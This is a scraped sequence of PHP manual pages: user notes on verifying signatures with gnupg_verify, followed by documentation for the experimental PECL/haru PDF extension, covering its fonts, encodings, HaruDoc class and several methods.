If verification fails, the gnupg_verify() returns the key's id instead of fingerprint .  It does not return FALSE as stated above (PHP4, have not tested PHP5).  You can compare it with result of keyinfo:

<?php
$resultOfVerify = gnupg_verify($gpgresource, $message,FALSE,$key);
echo "<pre>\$resultOfVerify",print_r($resultOfVerify),"</pre>";
//Above will out put something like
?>
$resultOfVerify Array
(
    [0] => Array
        (
            [fingerprint] => xxxxxxxxx (IF MESSAGE IS VERIFIED, THEN THIS MATCHES THE KEY FINGERPRINT OF THE KEY, IF UNVERIFIED, MATCHES THE KEY ID
            [validity] => 0
            [timestamp] => 0
            [status] => NNNNNN
            [summary] => 4
        )

)

<?php
$keyinfo = gnupg_keyinfo($gpgresource,$key);
echo "<pre>\$keyinfo ",print_r($keyinfo),"</pre>";
//Above will out put something like
?>
$keyinfo Array
(
    [0] => Array
        (
            [disabled] =>
            [expired] =>
            [revoked] =>
            [is_secret] =>
            [can_sign] => 1
            [can_encrypt] => 1
            [uids] => Array
                (
                    [0] => Array
                        (
                            [name] => WHATEVER
                            [comment] =>
                            [email] =>
                            [uid] => WHATEVER
                            [revoked] =>
                            [invalid] =>
                        )

                )

            [subkeys] => Array
                (
                    [0] => Array
                        (
                            [fingerprint] => xxxxxxxxxxxxxxxxxx
                            [keyid] => xxxxxxxxx
                            [timestamp] => xxxxxxxxx
                            [expires] => 0
                            [is_secret] =>
                            [invalid] =>
                            [can_encrypt] => 1
                            [can_sign] => 1
                            [disabled] =>
                            [expired] =>
                            [revoked] =>
                        )

                )

        )

<?php
//To test if a message/signature pair is verified
if($resultOfVerify[0]['fingerprint'] == $keyinfo[0]['subkeys'][0]['fingerprint']){
   //Ok, verified
}else{
  //Oops, NOT verified
}

?>
kae at verens dot com 19-Sep-2008 04:27
You can see who made the signature by checking its fingerprint:

<?php
$res = gnupg_init();
$info = gnupg_verify($res,$signed_text,$signature);
if($info !== false){
  $fingerprint = $info['fingerprint'];
  var_dump(gnupg_keyinfo($res, $fingerprint));
}
gnupg_sign
haru
GnuPG Functions


Haru PDF

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic PECL/haru example
  • Builtin Fonts And Encodings
    • Builtin Fonts
    • Builtin Encodings
  • HaruException — The HaruException class
  • HaruDoc — The HaruDoc class
    • HaruDoc::addPage — Add new page to the document
    • HaruDoc::addPageLabel — Set the numbering style for the specified range of pages
    • HaruDoc::__construct — Construct new HaruDoc instance
    • HaruDoc::createOutline — Create a HaruOutline instance
    • HaruDoc::getCurrentEncoder — Get HaruEncoder currently used in the document
    • HaruDoc::getCurrentPage — Return current page of the document
    • HaruDoc::getEncoder — Get HaruEncoder instance for the specified encoding
    • HaruDoc::getFont — Get HaruFont instance
    • HaruDoc::getInfoAttr — Get current value of the specified document attribute
    • HaruDoc::getPageLayout — Get current page layout
    • HaruDoc::getPageMode — Get current page mode
    • HaruDoc::getStreamSize — Get the size of the temporary stream
    • HaruDoc::insertPage — Insert new page just before the specified page
    • HaruDoc::loadJPEG — Load a JPEG image
    • HaruDoc::loadPNG — Load PNG image and return HaruImage instance
    • HaruDoc::loadRaw — Load a RAW image
    • HaruDoc::loadTTC — Load the font with the specified index from TTC file
    • HaruDoc::loadTTF — Load TTF font file
    • HaruDoc::loadType1 — Load Type1 font
    • HaruDoc::output — Write the document data to the output buffer
    • HaruDoc::readFromStream — Read data from the temporary stream
    • HaruDoc::resetError — Reset error state of the document handle
    • HaruDoc::resetStream — Rewind the temporary stream
    • HaruDoc::save — Save the document into the specified file
    • HaruDoc::saveToStream — Save the document into a temporary stream
    • HaruDoc::setCompressionMode — Set compression mode for the document
    • HaruDoc::setCurrentEncoder — Set the current encoder for the document
    • HaruDoc::setEncryptionMode — Set encryption mode for the document
    • HaruDoc::setInfoAttr — Set the info attribute of the document
    • HaruDoc::setInfoDateAttr — Set the datetime info attributes of the document
    • HaruDoc::setOpenAction — Define which page is shown when the document is opened
    • HaruDoc::setPageLayout — Set how pages should be displayed
    • HaruDoc::setPageMode — Set how the document should be displayed
    • HaruDoc::setPagesConfiguration — Set the number of pages per set of pages
    • HaruDoc::setPassword — Set owner and user passwords for the document
    • HaruDoc::setPermission — Set permissions for the document
    • HaruDoc::useCNSEncodings — Enable Chinese simplified encodings
    • HaruDoc::useCNSFonts — Enable builtin Chinese simplified fonts
    • HaruDoc::useCNTEncodings — Enable Chinese traditional encodings
    • HaruDoc::useCNTFonts — Enable builtin Chinese traditional fonts
    • HaruDoc::useJPEncodings — Enable Japanese encodings
    • HaruDoc::useJPFonts — Enable builtin Japanese fonts
    • HaruDoc::useKREncodings — Enable Korean encodings
    • HaruDoc::useKRFonts — Enable builtin Korean fonts
  • HaruPage — The HaruPage class
    • HaruPage::arc — Append an arc to the current path
    • HaruPage::beginText — Begin a text object and set the current text position to (0,0)
    • HaruPage::circle — Append a circle to the current path
    • HaruPage::closePath — Append a straight line from the current point to the start point of the path
    • HaruPage::concat — Concatenate current transformation matrix of the page and the specified matrix
    • HaruPage::createDestination — Create new HaruDestination instance
    • HaruPage::createLinkAnnotation — Create new HaruAnnotation instance
    • HaruPage::createTextAnnotation — Create new HaruAnnotation instance
    • HaruPage::createURLAnnotation — Create and return new HaruAnnotation instance
    • HaruPage::curveTo2 — Append a Bezier curve to the current path
    • HaruPage::curveTo3 — Append a Bezier curve to the current path
    • HaruPage::curveTo — Append a Bezier curve to the current path
    • HaruPage::drawImage — Show image at the page
    • HaruPage::ellipse — Append an ellipse to the current path
    • HaruPage::endPath — End current path object without filling and painting operations
    • HaruPage::endText — End current text object
    • HaruPage::eofill — Fill current path using even-odd rule
    • HaruPage::eoFillStroke — Fill current path using even-odd rule, then paint the path
    • HaruPage::fill — Fill current path using nonzero winding number rule
    • HaruPage::fillStroke — Fill current path using nonzero winding number rule, then paint the path
    • HaruPage::getCharSpace — Get the current value of character spacing
    • HaruPage::getCMYKFill — Get the current filling color
    • HaruPage::getCMYKStroke — Get the current stroking color
    • HaruPage::getCurrentFont — Get the currently used font
    • HaruPage::getCurrentFontSize — Get the current font size
    • HaruPage::getCurrentPos — Get the current position for path painting
    • HaruPage::getCurrentTextPos — Get the current position for text printing
    • HaruPage::getDash — Get the current dash pattern
    • HaruPage::getFillingColorSpace — Get the current filling color space
    • HaruPage::getFlatness — Get the flatness of the page
    • HaruPage::getGMode — Get the current graphics mode
    • HaruPage::getGrayFill — Get the current filling color
    • HaruPage::getGrayStroke — Get the current stroking color
    • HaruPage::getHeight — Get the height of the page
    • HaruPage::getHorizontalScaling — Get the current value of horizontal scaling
    • HaruPage::getLineCap — Get the current line cap style
    • HaruPage::getLineJoin — Get the current line join style
    • HaruPage::getLineWidth — Get the current line width
    • HaruPage::getMiterLimit — Get the value of miter limit
    • HaruPage::getRGBFill — Get the current filling color
    • HaruPage::getRGBStroke — Get the current stroking color
    • HaruPage::getStrokingColorSpace — Get the current stroking color space
    • HaruPage::getTextLeading — Get the current value of line spacing
    • HaruPage::getTextMatrix — Get the current text transformation matrix of the page
    • HaruPage::getTextRenderingMode — Get the current text rendering mode
    • HaruPage::getTextRise — Get the current value of text rising
    • HaruPage::getTextWidth — Get the width of the text using current fontsize, character spacing and word spacing
    • HaruPage::getTransMatrix — Get the current transformation matrix of the page
    • HaruPage::getWidth — Get the width of the page
    • HaruPage::getWordSpace — Get the current value of word spacing
    • HaruPage::lineTo — Draw a line from the current point to the specified point
    • HaruPage::measureText — Calculate the number of characters which can be included within the specified width
    • HaruPage::moveTextPos — Move text position to the specified offset
    • HaruPage::moveTo — Set starting point for new drawing path
    • HaruPage::moveToNextLine — Move text position to the start of the next line
    • HaruPage::rectangle — Append a rectangle to the current path
    • HaruPage::setCharSpace — Set character spacing for the page
    • HaruPage::setCMYKFill — Set filling color for the page
    • HaruPage::setCMYKStroke — Set stroking color for the page
    • HaruPage::setDash — Set the dash pattern for the page
    • HaruPage::setFlatness — Set flatness for the page
    • HaruPage::setFontAndSize — Set font and fontsize for the page
    • HaruPage::setGrayFill — Set filling color for the page
    • HaruPage::setGrayStroke — Sets stroking color for the page
    • HaruPage::setHeight — Set height of the page
    • HaruPage::setHorizontalScaling — Set horizontal scaling for the page
    • HaruPage::setLineCap — Set the shape to be used at the ends of lines
    • HaruPage::setLineJoin — Set line join style for the page
    • HaruPage::setLineWidth — Set line width for the page
    • HaruPage::setMiterLimit — Set the current value of the miter limit of the page
    • HaruPage::setRGBFill — Set filling color for the page
    • HaruPage::setRGBStroke — Set stroking color for the page
    • HaruPage::setRotate — Set rotation angle of the page
    • HaruPage::setSize — Set size and direction of the page
    • HaruPage::setSlideShow — Set transition style for the page
    • HaruPage::setTextLeading — Set text leading (line spacing) for the page
    • HaruPage::setTextMatrix — Set the current text transformation matrix of the page
    • HaruPage::setTextRenderingMode — Set text rendering mode for the page
    • HaruPage::setTextRise — Set the current value of text rising
    • HaruPage::setWidth — Set width of the page
    • HaruPage::setWordSpace — Set word spacing for the page
    • HaruPage::showText — Print text at the current position of the page
    • HaruPage::showTextNextLine — Move the current position to the start of the next line and print the text
    • HaruPage::stroke — Paint current path
    • HaruPage::textOut — Print the text on the specified position
    • HaruPage::textRect — Print the text inside the specified region
  • HaruFont — The HaruFont class
    • HaruFont::getAscent — Get the vertical ascent of the font
    • HaruFont::getCapHeight — Get the distance from the baseline of uppercase letters
    • HaruFont::getDescent — Get the vertical descent of the font
    • HaruFont::getEncodingName — Get the name of the encoding
    • HaruFont::getFontName — Get the name of the font
    • HaruFont::getTextWidth — Get the total width of the text, number of characters, number of words and number of spaces
    • HaruFont::getUnicodeWidth — Get the width of the character in the font
    • HaruFont::getXHeight — Get the distance from the baseline of lowercase letters
    • HaruFont::measureText — Calculate the number of characters which can be included within the specified width
  • HaruImage — The HaruImage class
    • HaruImage::getBitsPerComponent — Get the number of bits used to describe each color component of the image
    • HaruImage::getColorSpace — Get the name of the color space
    • HaruImage::getHeight — Get the height of the image
    • HaruImage::getSize — Get size of the image
    • HaruImage::getWidth — Get the width of the image
    • HaruImage::setColorMask — Set the color mask of the image
    • HaruImage::setMaskImage — Set the image mask
  • HaruEncoder — The HaruEncoder class
    • HaruEncoder::getByteType — Get the type of the byte in the text
    • HaruEncoder::getType — Get the type of the encoder
    • HaruEncoder::getUnicode — Convert the specified character to unicode
    • HaruEncoder::getWritingMode — Get the writing mode of the encoder
  • HaruOutline — The HaruOutline class
    • HaruOutline::setDestination — Set the destination for the outline
    • HaruOutline::setOpened — Set the initial state of the outline
  • HaruAnnotation — The HaruAnnotation class
    • HaruAnnotation::setBorderStyle — Set the border style of the annotation
    • HaruAnnotation::setHighlightMode — Set the highlighting mode of the annotation
    • HaruAnnotation::setIcon — Set the icon style of the annotation
    • HaruAnnotation::setOpened — Set the initial state of the annotation
  • HaruDestination — The HaruDestination class
    • HaruDestination::setFit — Set the appearance of the page to fit the window
    • HaruDestination::setFitB — Set the appearance of the page to fit the bounding box of the page within the window
    • HaruDestination::setFitBH — Set the appearance of the page to fit the width of the bounding box
    • HaruDestination::setFitBV — Set the appearance of the page to fit the height of the boudning box
    • HaruDestination::setFitH — Set the appearance of the page to fit the window width
    • HaruDestination::setFitR — Set the appearance of the page to fit the specified rectangle
    • HaruDestination::setFitV — Set the appearance of the page to fit the window height
    • HaruDestination::setXYZ — Set the appearance of the page

User Contributed Notes

There are no user contributed notes for this page.
gnupg_verify
Introduction
Non-Text MIME Output


Introduction

The PECL/haru extension provides bindings to the libHaru library. libHaru is a free, cross platform, and Open Source library for generating PDF files.

The Haru library (libHaru) may be found here: » http://libharu.org.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
haru
Installing/Configuring
haru


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
haru


Requirements

You need to install libharu first to be able to use PECL/haru. PECL/haru is tested with libharu 2.0.8, older versions might or might not work for you. PECL/haru also requires PHP 5.1.3 or newer.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/haru.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
haru


Examples

Table of Contents

  • Basic PECL/haru example

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic PECL/haru example
haru


Basic PECL/haru example

Example #1 Fancy "Hello world"

<?php

$doc = new HaruDoc;

$doc->setPageMode(HaruDoc::PAGE_MODE_USE_THUMBS); /* show thumbnails */

$page = $doc->addPage(); /* add page to the document */
$page->setSize(HaruPage::SIZE_A4, HaruPage::LANDSCAPE); /* set the page to use A4 landscape format */

$courier = $doc->getFont("Courier-Bold"); /* we'll use the bundled font a few lines below */

$page->setRGBStroke(0, 0, 0); /* set colors */
$page->setRGBFill(0.7, 0.8, 0.9);
$page->rectangle(150, 150, 550, 250); /* draw a rectangle */

$page->fillStroke(); /* fill and stroke it */

$page->setDash(array(3, 3), 0); /* set dash style for lines at this page */
$page->setFontAndSize($courier, 60); /* set font and size */

$page->setRGBStroke(0.5, 0.5, 0.1); /* set line color */
$page->setRGBFill(1, 1, 1); /* set filling color */

$page->setTextRenderingMode(HaruPage::FILL_THEN_STROKE); /* fill and stroke text */

/* print the text */
$page->beginText();
$page->textOut(210, 270, "Hello World!");
$page->endText();

$doc->save("/tmp/test.pdf"); /* save the document into a file */

?>

Open the result document in your favourite PDF viewer and you should see a light-blue rectangle and white "Hello World!" on it.

User Contributed Notes

There are no user contributed notes for this page.
Examples
Builtin Fonts And Encodings
Examples


Builtin Fonts And Encodings

Table of Contents

  • Builtin Fonts
  • Builtin Encodings

User Contributed Notes

There are no user contributed notes for this page.
Basic PECL/haru example
Builtin Fonts
haru


Builtin Fonts

These Base14 fonts are built-in into PDF and all viewers can display them. Using these fonts may decrease the size of the result file and make the processing faster, avoiding loading external fonts. However the fonts support only latin1 character set and you have to load external fonts if you need to use an other character set.

The Base14 fonts:

  • Courier

  • Courier-Bold

  • Courier-Oblique

  • Courier-BoldOblique

  • Helvetica

  • Helvetica-Bold

  • Helvetica-Oblique

  • Helvetica-BoldOblique

  • Times-Roman

  • Times-Bold

  • Times-Italic

  • Times-BoldItalic

  • Symbol

  • ZapfDingbats

User Contributed Notes

There are no user contributed notes for this page.
Builtin Fonts And Encodings
Builtin Encodings
Builtin Fonts And Encodings


Builtin Encodings

Single-byte character set encodings
Name | Description
StandardEncoding | The default encoding of PDF.
MacRomanEncoding | The standard encoding of Mac OS.
WinAnsiEncoding | The standard encoding of Windows.
FontSpecific | The font built-in encoding.
ISO8859-2 | Latin2 (East European)
ISO8859-3 | Latin3 (South European)
ISO8859-4 | Latin4 (North European)
ISO8859-5 | Cyrillic
ISO8859-6 | Arabic
ISO8859-7 | Greek
ISO8859-8 | Hebrew
ISO8859-9 | Latin5 (Turkish)
ISO8859-10 | Latin6 (Nordic)
ISO8859-11 | Thai
ISO8859-13 | Latin7 (Baltic Rim)
ISO8859-14 | Latin8 (Celtic)
ISO8859-15 | Latin9
ISO8859-16 | Latin10
CP1250 | MS Windows Codepage 1250.
CP1251 | MS Windows Codepage 1251.
CP1252 | MS Windows Codepage 1252.
CP1253 | MS Windows Codepage 1253.
CP1254 | MS Windows Codepage 1254.
CP1255 | MS Windows Codepage 1255.
CP1256 | MS Windows Codepage 1256.
CP1257 | MS Windows Codepage 1257.
CP1258 | MS Windows Codepage 1258.
KOI8-R | Cyrillic character set.
Multi-byte character set encodings
Name | Description
GB-EUC-H | EUC-CN encoding.
GB-EUC-V | Vertical writing version of GB-EUC-H.
GBK-EUC-H | Microsoft Code Page 936 (lfCharSet 0x86) GBK encoding.
GBK-EUC-V | Vertical writing version of GBK-EUC-H.
ETen-B5-H | Microsoft Code Page 950 (lfCharSet 0x88) Big Five character set with ETen extensions.
ETen-B5-V | Vertical writing version of ETen-B5-H.
90ms-RKSJ-H | Microsoft Code Page 932, JIS X 0208 character.
90ms-RKSJ-V | Vertical writing version of 90ms-RKSJ-V.
90msp-RKSJ-H | Microsoft Code Page 932, JIS X 0208 character (proportional).
EUC-H | JIS X 0208 character set, EUC-JP encoding.
EUC-V | Vertical writing version of EUC-H.
KSC-EUC-H | KS X 1001:1992 character set, EUC-KR encoding.
KSC-EUC-V | Vertical writing version of KSC-EUC-V.
KSCms-UHC-H | Microsoft Code Page 949 (lfCharSet 0x81), KS X 1001:1992 character set plus 8822 additional hangul, Unified Hangul Code (UHC) encoding (proportional).
KSCms-UHC-HW-H | Microsoft Code Page 949 (lfCharSet 0x81), KS X 1001:1992 character set plus 8822 additional hangul, Unified Hangul Code (UHC) encoding (fixed width).
KSCms-UHC-HW-V | Vertical writing version of KSCms-UHC-HW-H.

User Contributed Notes

gem at rellim dot com 28-Jan-2010 07:19
At first glance it appears there is no support for ISO-8859-1.

Looking at the libharu source code (src/hpdf_encoding.c) you can see that
what they call 'WinAnsiEncoding' is Windows Code Page 1252.  CP1252 is a superset of ISO-8859-1 that adds printable characters at 0x80 to 0x9F.

So you can use that to get ISO-8859-1.
Builtin Fonts
HaruException
Builtin Fonts And Encodings


The HaruException class

(No version information available, might only be in SVN)

Introduction

Haru PDF Exception Class.

Class synopsis

HaruException extends Exception {
/* Inherits */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Builtin Encodings
HaruDoc
haru


The HaruDoc class

(No version information available, might only be in SVN)

Introduction

Haru PDF Document Class.

Class synopsis

HaruDoc {
/* Methods */
object addPage ( void )
bool addPageLabel ( int $first_page , int $style , int $first_num [, string $prefix = "" ] )
__construct ( void )
object createOutline ( string $title [, object $parent_outline [, object $encoder ]] )
object getCurrentEncoder ( void )
object getCurrentPage ( void )
object getEncoder ( string $encoding )
object getFont ( string $fontname [, string $encoding ] )
string getInfoAttr ( int $type )
int getPageLayout ( void )
int getPageMode ( void )
int getStreamSize ( void )
object insertPage ( object $page )
object loadJPEG ( string $filename )
object loadPNG ( string $filename [, bool $deferred = false ] )
object loadRaw ( string $filename , int $width , int $height , int $color_space )
string loadTTC ( string $fontfile , int $index [, bool $embed = false ] )
string loadTTF ( string $fontfile [, bool $embed = false ] )
string loadType1 ( string $afmfile [, string $pfmfile ] )
bool output ( void )
string readFromStream ( int $bytes )
bool resetError ( void )
bool resetStream ( void )
bool save ( string $file )
bool saveToStream ( void )
bool setCompressionMode ( int $mode )
bool setCurrentEncoder ( string $encoding )
bool setEncryptionMode ( int $mode [, int $key_len = 5 ] )
bool setInfoAttr ( int $type , string $info )
bool setInfoDateAttr ( int $type , int $year , int $month , int $day , int $hour , int $min , int $sec , string $ind , int $off_hour , int $off_min )
bool setOpenAction ( object $destination )
bool setPageLayout ( int $layout )
bool setPageMode ( int $mode )
bool setPagesConfiguration ( int $page_per_pages )
bool setPassword ( string $owner_password , string $user_password )
bool setPermission ( int $permission )
bool useCNSEncodings ( void )
bool useCNSFonts ( void )
bool useCNTEncodings ( void )
bool useCNTFonts ( void )
bool useJPEncodings ( void )
bool useJPFonts ( void )
bool useKREncodings ( void )
bool useKRFonts ( void )
}

Predefined Constants

Type | Name | Description
int | HaruDoc::CS_DEVICE_GRAY |
int | HaruDoc::CS_DEVICE_RGB |
int | HaruDoc::CS_DEVICE_CMYK |
int | HaruDoc::CS_CAL_GRAY |
int | HaruDoc::CS_CAL_RGB |
int | HaruDoc::CS_LAB |
int | HaruDoc::CS_ICC_BASED |
int | HaruDoc::CS_SEPARATION |
int | HaruDoc::CS_DEVICE_N |
int | HaruDoc::CS_INDEXED |
int | HaruDoc::CS_PATTERN |
int | HaruDoc::ENABLE_READ |
int | HaruDoc::ENABLE_PRINT |
int | HaruDoc::ENABLE_EDIT_ALL |
int | HaruDoc::ENABLE_COPY |
int | HaruDoc::ENABLE_EDIT |
int | HaruDoc::ENCRYPT_R2 |
int | HaruDoc::ENCRYPT_R3 |
int | HaruDoc::INFO_AUTHOR |
int | HaruDoc::INFO_CREATOR |
int | HaruDoc::INFO_TITLE |
int | HaruDoc::INFO_SUBJECT |
int | HaruDoc::INFO_KEYWORDS |
int | HaruDoc::INFO_CREATION_DATE |
int | HaruDoc::INFO_MOD_DATE |
int | HaruDoc::COMP_NONE |
int | HaruDoc::COMP_TEXT |
int | HaruDoc::COMP_IMAGE |
int | HaruDoc::COMP_METADATA |
int | HaruDoc::COMP_ALL |
int | HaruDoc::PAGE_LAYOUT_SINGLE |
int | HaruDoc::PAGE_LAYOUT_ONE_COLUMN |
int | HaruDoc::PAGE_LAYOUT_TWO_COLUMN_LEFT |
int | HaruDoc::PAGE_LAYOUT_TWO_COLUMN_RIGHT |
int | HaruDoc::PAGE_MODE_USE_NONE |
int | HaruDoc::PAGE_MODE_USE_OUTLINE |
int | HaruDoc::PAGE_MODE_USE_THUMBS |
int | HaruDoc::PAGE_MODE_FULL_SCREEN |

Table of Contents

  • HaruDoc::addPage — Add new page to the document
  • HaruDoc::addPageLabel — Set the numbering style for the specified range of pages
  • HaruDoc::__construct — Construct new HaruDoc instance
  • HaruDoc::createOutline — Create a HaruOutline instance
  • HaruDoc::getCurrentEncoder — Get HaruEncoder currently used in the document
  • HaruDoc::getCurrentPage — Return current page of the document
  • HaruDoc::getEncoder — Get HaruEncoder instance for the specified encoding
  • HaruDoc::getFont — Get HaruFont instance
  • HaruDoc::getInfoAttr — Get current value of the specified document attribute
  • HaruDoc::getPageLayout — Get current page layout
  • HaruDoc::getPageMode — Get current page mode
  • HaruDoc::getStreamSize — Get the size of the temporary stream
  • HaruDoc::insertPage — Insert new page just before the specified page
  • HaruDoc::loadJPEG — Load a JPEG image
  • HaruDoc::loadPNG — Load PNG image and return HaruImage instance
  • HaruDoc::loadRaw — Load a RAW image
  • HaruDoc::loadTTC — Load the font with the specified index from TTC file
  • HaruDoc::loadTTF — Load TTF font file
  • HaruDoc::loadType1 — Load Type1 font
  • HaruDoc::output — Write the document data to the output buffer
  • HaruDoc::readFromStream — Read data from the temporary stream
  • HaruDoc::resetError — Reset error state of the document handle
  • HaruDoc::resetStream — Rewind the temporary stream
  • HaruDoc::save — Save the document into the specified file
  • HaruDoc::saveToStream — Save the document into a temporary stream
  • HaruDoc::setCompressionMode — Set compression mode for the document
  • HaruDoc::setCurrentEncoder — Set the current encoder for the document
  • HaruDoc::setEncryptionMode — Set encryption mode for the document
  • HaruDoc::setInfoAttr — Set the info attribute of the document
  • HaruDoc::setInfoDateAttr — Set the datetime info attributes of the document
  • HaruDoc::setOpenAction — Define which page is shown when the document is opened
  • HaruDoc::setPageLayout — Set how pages should be displayed
  • HaruDoc::setPageMode — Set how the document should be displayed
  • HaruDoc::setPagesConfiguration — Set the number of pages per set of pages
  • HaruDoc::setPassword — Set owner and user passwords for the document
  • HaruDoc::setPermission — Set permissions for the document
  • HaruDoc::useCNSEncodings — Enable Chinese simplified encodings
  • HaruDoc::useCNSFonts — Enable builtin Chinese simplified fonts
  • HaruDoc::useCNTEncodings — Enable Chinese traditional encodings
  • HaruDoc::useCNTFonts — Enable builtin Chinese traditional fonts
  • HaruDoc::useJPEncodings — Enable Japanese encodings
  • HaruDoc::useJPFonts — Enable builtin Japanese fonts
  • HaruDoc::useKREncodings — Enable Korean encodings
  • HaruDoc::useKRFonts — Enable builtin Korean fonts

User Contributed Notes

There are no user contributed notes for this page.
HaruException
HaruDoc::addPage
haru


Add new page to the document

HaruDoc
HaruDoc::addPageLabel
HaruDoc
PHP Manual

HaruDoc::addPage

(PECL haru >= 0.0.1)

HaruDoc::addPage — Add new page to the document

Description

object HaruDoc::addPage ( void )

Adds a new page to the document.

Parameters

This function has no parameters.

Return Values

Returns a new HaruPage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::insertPage() - Insert new page just before the specified page

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc
HaruDoc::addPageLabel
HaruDoc


Set the numbering style for the specified range of pages

HaruDoc::addPage
HaruDoc::__construct
HaruDoc
PHP Manual

HaruDoc::addPageLabel

(PECL haru >= 0.0.1)

HaruDoc::addPageLabel — Set the numbering style for the specified range of pages

Description

bool HaruDoc::addPageLabel ( int $first_page , int $style , int $first_num [, string $prefix = "" ] )

Set the numbering style for the specified range of pages.

Parameters

first_page

The first page included into the labeling range.

style

The numbering style. The following values are allowed:

  • HaruPage::NUM_STYLE_DECIMAL - page label is displayed using decimal numerals.
  • HaruPage::NUM_STYLE_UPPER_ROMAN - page label is displayed using uppercase Roman numerals.
  • HaruPage::NUM_STYLE_LOWER_ROMAN - page label is displayed using lowercase Roman numerals.
  • HaruPage::NUM_STYLE_UPPER_LETTER - page label is displayed using uppercase letters (from A to Z).
  • HaruPage::NUM_STYLE_LOWER_LETTERS - page label is displayed using lowercase letters (from a to z).

first_num

The first page number in this range.

prefix

The prefix for the page label.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::addPage
HaruDoc::__construct
HaruDoc


Construct new HaruDoc instance

HaruDoc::addPageLabel
HaruDoc::createOutline
HaruDoc
PHP Manual

HaruDoc::__construct

(PECL haru >= 0.0.1)

HaruDoc::__construct — Construct new HaruDoc instance

Description

HaruDoc::__construct ( void )

Constructs new HaruDoc instance.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::addPageLabel
HaruDoc::createOutline
HaruDoc


Create a HaruOutline instance

HaruDoc::__construct
HaruDoc::getCurrentEncoder
HaruDoc
PHP Manual

HaruDoc::createOutline

(PECL haru >= 0.0.1)

HaruDoc::createOutline — Create a HaruOutline instance

Description

object HaruDoc::createOutline ( string $title [, object $parent_outline [, object $encoder ]] )

Create a HaruOutline instance.

Parameters

title

The caption of new outline object.

parent_outline

A valid HaruOutline instance or NULL.

encoder

A valid HaruEncoder instance or NULL.

Return Values

Returns a new HaruOutline instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::__construct
HaruDoc::getCurrentEncoder
HaruDoc


Get HaruEncoder currently used in the document

HaruDoc::createOutline
HaruDoc::getCurrentPage
HaruDoc
PHP Manual

HaruDoc::getCurrentEncoder

(PECL haru >= 0.0.1)

HaruDoc::getCurrentEncoder — Get HaruEncoder currently used in the document

Description

object HaruDoc::getCurrentEncoder ( void )

Get the HaruEncoder currently used in the document.

Parameters

This function has no parameters.

Return Values

Returns HaruEncoder currently used in the document or FALSE if encoder is not set.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setCurrentEncoder() - Set the current encoder for the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::createOutline
HaruDoc::getCurrentPage
HaruDoc


Return current page of the document

HaruDoc::getCurrentEncoder
HaruDoc::getEncoder
HaruDoc
PHP Manual

HaruDoc::getCurrentPage

(PECL haru >= 0.0.1)

HaruDoc::getCurrentPage — Return current page of the document

Description

object HaruDoc::getCurrentPage ( void )

Get current page of the document.

Parameters

This function has no parameters.

Return Values

Returns HaruPage instance on success or FALSE if there is no current page at the moment.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getCurrentEncoder
HaruDoc::getEncoder
HaruDoc


Get HaruEncoder instance for the specified encoding

HaruDoc::getCurrentPage
HaruDoc::getFont
HaruDoc
PHP Manual

HaruDoc::getEncoder

(PECL haru >= 0.0.1)

HaruDoc::getEncoder — Get HaruEncoder instance for the specified encoding

Description

object HaruDoc::getEncoder ( string $encoding )

Get the HaruEncoder instance for the specified encoding.

Parameters

encoding

The encoding name. See Builtin Encodings for the list of allowed values.

Return Values

Returns a HaruEncoder instance for the specified encoding.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setCurrentEncoder() - Set the current encoder for the document
  • HaruDoc::getCurrentEncoder() - Get HaruEncoder currently used in the document

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getCurrentPage
HaruDoc::getFont
HaruDoc


Get HaruFont instance

HaruDoc::getEncoder
HaruDoc::getInfoAttr
HaruDoc
PHP Manual

HaruDoc::getFont

(PECL haru >= 0.0.1)

HaruDoc::getFont — Get HaruFont instance

Description

object HaruDoc::getFont ( string $fontname [, string $encoding ] )

Get a HaruFont instance.

Parameters

fontname

The name of the font. See Builtin Fonts for the list of builtin fonts. You can also use the name of a font loaded via HaruDoc::loadTTF(), HaruDoc::loadTTC() and HaruDoc::loadType1().

encoding

The encoding to use. See Builtin Encodings for the list of supported encodings.

Return Values

Returns a HaruFont instance with the specified fontname and encoding.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setFontAndSize() - Set font and fontsize for the page
  • HaruPage::setCurrentFont()

User Contributed Notes

There are no user contributed notes for this page.
HaruDoc::getEncoder
HaruDoc::getInfoAttr
HaruDoc


Get current value of the specified document attribute

HaruDoc::getFont
HaruDoc::getPageLayout
HaruDoc
PHP Manual

HaruDoc::getInfoAttr

(PECL haru >= 0.0.1)

HaruDoc::getInfoAttr — Get current value of the specified document attribute

